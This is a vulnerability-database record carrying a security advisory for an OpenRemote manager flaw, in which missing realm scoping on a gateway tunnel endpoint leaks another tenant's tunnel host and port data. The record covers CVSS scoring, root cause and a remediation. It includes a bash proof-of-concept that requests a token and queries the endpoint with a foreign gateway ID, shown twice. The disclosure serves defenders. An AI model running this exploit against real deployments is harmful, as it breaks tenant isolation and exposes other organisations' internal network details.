{"schema":"threatline.record/2","record":{"id":"GHSA-p5wh-9wx4-w5f3","aliases":["GHSA-p5wh-9wx4-w5f3"],"summary":"Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos missing realm scoping)","details":"# OPENREMOTE-003 — Cross-realm gateway tunnel-info disclosure (getGatewayActiveTunnelInfos)\r\n\r\n## Summary\r\nThe REST endpoint `GET /gateway/tunnel/{realm}/{id}`\r\n(`GatewayServiceResourceImpl.getGatewayActiveTunnelInfos`) returns the active tunnel\r\ninformation for a gateway identified by the caller-supplied `{id}` path parameter. For\r\na non-restricted user it validates only that the `{realm}` path argument equals the\r\ncaller's own realm (which the attacker trivially satisfies by passing their own realm)\r\nand then calls `gatewayService.getGatewayTunnelInfos(gatewayId)`, which filters the\r\ntunnel set **only by `gatewayId` and not by realm**. As a result, any authenticated\r\nuser in realm A who knows a gateway asset ID located in another realm B receives realm\r\nB's active tunnel information (internal target host/port and gateway routing data),\r\ncrossing the tenant isolation boundary.\r\n\r\nThe two sibling endpoints handle this correctly: `getAllActiveTunnelInfos` and\r\n`getActiveTunnelInfo` both additionally filter `tunnel.getRealm().equals(realm)`. Only\r\n`getGatewayActiveTunnelInfos` omits the realm predicate — a clear, isolated defect.\r\n\r\n## CVSS v3.1\r\n**Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` → **Base 5.0 (Medium)**\r\n\r\nMetric-by-metric:\r\n- **AV:N** — network HTTP API.\r\n- **AC:L** — single request; no special conditions in the code path itself.\r\n- **PR:L** — any authenticated user in some realm. The endpoint has **no\r\n  `@RolesAllowed`** (unlike its `read:admin`-gated sibling), so even a low-privilege\r\n  authenticated user qualifies; the impl only checks `isAuthenticated()` +\r\n  `realm == own realm` (+ `isUserAsset` for restricted users).\r\n- **UI:N** — none.\r\n- **S:C** — data belongs to a different realm's security authority than the caller's.\r\n- **C:L** — leaks gateway tunnel metadata (target host, target port, gateway ID,\r\n  auto-close/expiry) for another realm; sensitive but bounded to tunnel routing info.\r\n- **I:N / A:N** — read-only.\r\n\r\n*Precondition caveat:* the attacker must know or guess a gateway asset ID in the\r\nvictim realm (22-char random identifier). This raises practical difficulty but does not\r\nchange the fact that the realm-scoping control present in the sibling methods is\r\nmissing here; the leak is real once an ID is known (IDs appear in logs, exports,\r\nshared UI links, or a co-tenant relationship).\r\n\r\n## CWE\r\n- CWE-639: Authorization Bypass Through User-Controlled Key\r\n- CWE-284: Improper Access Control\r\n\r\n## Affected component\r\n- `manager/src/main/java/org/openremote/manager/gateway/GatewayServiceResourceImpl.java`\r\n  `getGatewayActiveTunnelInfos` (lines 45-64) — missing `tunnel.getRealm().equals(realm)`\r\n  filter that the siblings `getAllActiveTunnelInfos` (line 41) and `getActiveTunnelInfo`\r\n  (line 85) apply.\r\n- `manager/src/main/java/org/openremote/manager/gateway/GatewayService.java`\r\n  `getGatewayTunnelInfos(String gatewayID)` — filters only by `gatewayId`, no realm.\r\n- Interface: `model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:29-33`\r\n  (`@Path(\"tunnel/{realm}/{id}\")`, no `@RolesAllowed`).\r\n- Commit: HEAD `3dbc182134`; present in all releases **≤ 1.26.1**.\r\n\r\n## Reachability\r\n1. Attacker authenticates as any user in realm A.\r\n2. Calls `GET /api/A/gateway/tunnel/A/{victimGatewayId}` where `victimGatewayId` is a\r\n   gateway asset in realm B.\r\n3. Realm check `!isSuperUser() && !getAuthenticatedRealmName().equals(realm)` passes\r\n   (attacker passed `realm=A`, their own realm).\r\n4. `isRestrictedUser() && !isUserAsset(...)` — for a non-restricted user this branch is\r\n   skipped entirely; for restricted users it would block, but a normal realm user is\r\n   not restricted.\r\n5. `gatewayService.getGatewayTunnelInfos(victimGatewayId)` returns realm B's tunnels\r\n   for that gateway, unscoped by realm → returned to the realm-A caller.\r\n\r\n## Root cause\r\nInconsistent authorization across sibling endpoints: the realm-binding of the returned\r\ntunnel set was applied in `getAllActiveTunnelInfos`/`getActiveTunnelInfo` but omitted\r\nin `getGatewayActiveTunnelInfos`, which resolves and returns tunnels by a global,\r\ncaller-supplied gateway ID.\r\n\r\n## Proof of concept (safe / benign)\r\n```bash\r\n#!/usr/bin/env bash\r\nset -euo pipefail\r\nHOST=\"${HOST:-https://localhost}\"; KC=\"${KC:-https://localhost/auth}\"\r\nATTACKER_REALM=\"${ATTACKER_REALM:-building}\"; USER=\"${USER_NAME:-building}\"; PASS=\"${PASS:-secret}\"\r\nVICTIM_GATEWAY_ID=\"${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}\"\r\n\r\nTOKEN=$(curl -sk -X POST \"$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token\" \\\r\n  -d grant_type=password -d client_id=openremote \\\r\n  -d username=\"$USER\" -d password=\"$PASS\" | jq -r .access_token)\r\n\r\n# Pass MY realm in the path, but a gateway id that lives in ANOTHER realm:\r\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \\\r\n     \"$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID\" | jq .\r\n```\r\n**Expected observable:** a non-empty array of `GatewayTunnelInfo` objects whose\r\n`realm` field is the victim realm B (and whose `target`/`targetPort` describe hosts the\r\nattacker's realm has no access to), confirming the cross-realm leak. A correctly-scoped\r\nendpoint would return an empty array (as `getAllActiveTunnelInfos`/`getActiveTunnelInfo`\r\ndo).\r\n\r\n*Static verification note:* confirmed by source comparison against the correctly-scoped\r\nsibling methods; not dynamically executed (requires a running multi-realm manager with\r\nactive gateway tunnels).\r\n\r\n## Adversarial re-read (what I tried to refute it with)\r\n- *Does `getGatewayTunnelInfos` filter by realm somewhere?* No — read the method: it is\r\n  `getTunnelInfos().stream().filter(t -> t.getGatewayId().equals(gatewayID))`. No realm.\r\n- *Does the `{realm}` path parameter constrain the returned set?* No — it is only used\r\n  in the `getAuthenticatedRealmName().equals(realm)` guard, not passed to the tunnel\r\n  lookup. The attacker sets it to their own realm to pass the guard.\r\n- *Is the endpoint restricted to admins?* No `@RolesAllowed` at all; broader than the\r\n  sibling that carries `@RolesAllowed({read:admin})`.\r\n- *Residual doubt:* the attacker must know a victim gateway ID (unguessable 22-char).\r\n  This is a real practical barrier, so the finding is bounded to **Medium/Moderate**,\r\n  but the missing realm predicate is an objective defect (the siblings have it).\r\n- Survives as a Moderate cross-realm information-disclosure → **CONFIRMED** (static),\r\n  severity Moderate.\r\n\r\n## Remediation\r\nFilter the returned tunnels by realm exactly as the siblings do, e.g.:\r\n```java\r\nreturn Arrays.stream(gatewayService.getGatewayTunnelInfos(gatewayID))\r\n    .filter(tunnel -> tunnel.getRealm().equals(realm))\r\n    .toArray(GatewayTunnelInfo[]::new);\r\n```\r\nor verify the gateway asset's realm equals the caller's realm before returning, and add\r\na `@RolesAllowed` constraint consistent with `getAllActiveTunnelInfos`.\r\n\r\n## Confidence\r\n**High** that the realm-scoping control is missing (direct source comparison with the\r\nsibling methods); severity **Moderate** due to the gateway-ID knowledge precondition.\r\nSTATIC-SUSPECTED (not dynamically executed).\r\n\r\n\r\n## Proof-of-Concept source (`or003_gateway_tunnel_idor_poc.sh`)\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# PoC for OPENREMOTE-003 — cross-realm gateway tunnel-info disclosure via\r\n# GET /gateway/tunnel/{realm}/{gatewayId}  (getGatewayActiveTunnelInfos).\r\n#\r\n# Precondition: any authenticated, NON-restricted user in a tenant realm A, plus\r\n# knowledge of a gateway asset id that lives in another realm B.\r\n#\r\n# The method validates only that the {realm} path arg == the caller's own realm\r\n# (attacker passes realm=A, which passes), then returns\r\n# gatewayService.getGatewayTunnelInfos(gatewayId), which filters ONLY by gatewayId\r\n# and NOT by realm (GatewayService.java). The sibling methods\r\n# getAllActiveTunnelInfos / getActiveTunnelInfo both additionally filter\r\n# tunnel.getRealm().equals(realm) -- this one omits it. Result: realm-B tunnel infos\r\n# (internal target host/port) leak to a realm-A user.\r\n#\r\n# Local instance only.\r\n\r\nset -euo pipefail\r\nHOST=\"${HOST:-https://localhost}\"\r\nKC=\"${KC:-https://localhost/auth}\"\r\nATTACKER_REALM=\"${ATTACKER_REALM:-building}\"\r\nUSER=\"${USER_NAME:-building}\"\r\nPASS=\"${PASS:-secret}\"\r\nVICTIM_GATEWAY_ID=\"${VICTIM_GATEWAY_ID:-<gateway asset id in another realm>}\"\r\n\r\nTOKEN=$(curl -sk -X POST \\\r\n  \"$KC/realms/$ATTACKER_REALM/protocol/openid-connect/token\" \\\r\n  -d \"grant_type=password\" -d \"client_id=openremote\" \\\r\n  -d \"username=$USER\" -d \"password=$PASS\" | jq -r .access_token)\r\n\r\necho \"[*] Requesting tunnel infos for a gateway in ANOTHER realm, passing my OWN realm:\"\r\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \\\r\n     \"$HOST/api/$ATTACKER_REALM/gateway/tunnel/$ATTACKER_REALM/$VICTIM_GATEWAY_ID\" | jq .\r\n\r\necho \"[+] Non-empty tunnel infos here (target host/port for a gateway you don't own,\"\r\necho \"    in a realm you have no access to) confirm the cross-realm leak.\"\r\n\r\n```","categories":["Unclassified"],"product":" io.openremote:openremote-manager","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/openremote/core/security/advisories/GHSA-p5wh-9wx4-w5f3","source_modified_at":"2026-10-08T12:33:53Z","fetched_at":"2026-10-25T16:01:37.004770Z","package":{"ecosystem":"maven","name":" io.openremote:openremote-manager"},"range":"<1.31.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/openremote/core/security/advisories/GHSA-p5wh-9wx4-w5f3","source_modified_at":"2026-10-08T12:33:53Z","fetched_at":"2026-10-25T16:01:37.004770Z","package":{"ecosystem":"maven","name":" io.openremote:openremote-manager"},"version":"1.31.0"}],"cvss":5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-08T12:33:53Z","modified_at":"2026-10-08T12:33:53Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/openremote/core/security/advisories/GHSA-p5wh-9wx4-w5f3","fetched_at":"2026-10-25T16:01:37.004770Z","source_modified_at":"2026-10-08T12:33:53Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-08T12:33:53Z","content_hash":"83e5256c42ebb8b1f5242e8c31332027d431f268ad81714081227aa9832d8542"}}
